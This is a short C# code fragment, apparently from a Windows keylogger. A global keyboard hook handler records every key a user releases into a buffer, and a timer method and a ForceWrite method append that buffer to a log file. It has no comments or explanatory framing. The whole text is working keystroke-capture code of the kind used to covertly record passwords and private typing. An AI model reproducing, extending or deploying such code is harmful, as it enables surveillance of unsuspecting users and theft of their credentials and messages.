private static void OnTick(Object state) { FileBuffer buffer = null; using (StreamWriter writer = new StreamWriter(FILE_PATH, true)) { buffer = FileBuffer.GetInstance(); writer.Write(buffer.CurrentStream.ToString()); buffer.CurrentStream.Clear(); } }
public void ForceWrite() { FileBuffer buffer = null; using (StreamWriter writer = new StreamWriter(FILE_PATH, true)) { buffer = FileBuffer.GetInstance(); writer.Write(buffer.CurrentStream.ToString()); buffer.CurrentStream.Clear(); } }
void gkh_KeyUp(object sender, KeyEventArgs e) { FileBuffer buffer = FileBuffer.GetInstance(); if (GlobalKeyboardHook.IsModifier((int)e.KeyCode)) { buffer.Write("[" + e.KeyCode.ToString() + "]"); } else { buffer.Write(e.KeyCode.ToString()); } //e.Handled = true; }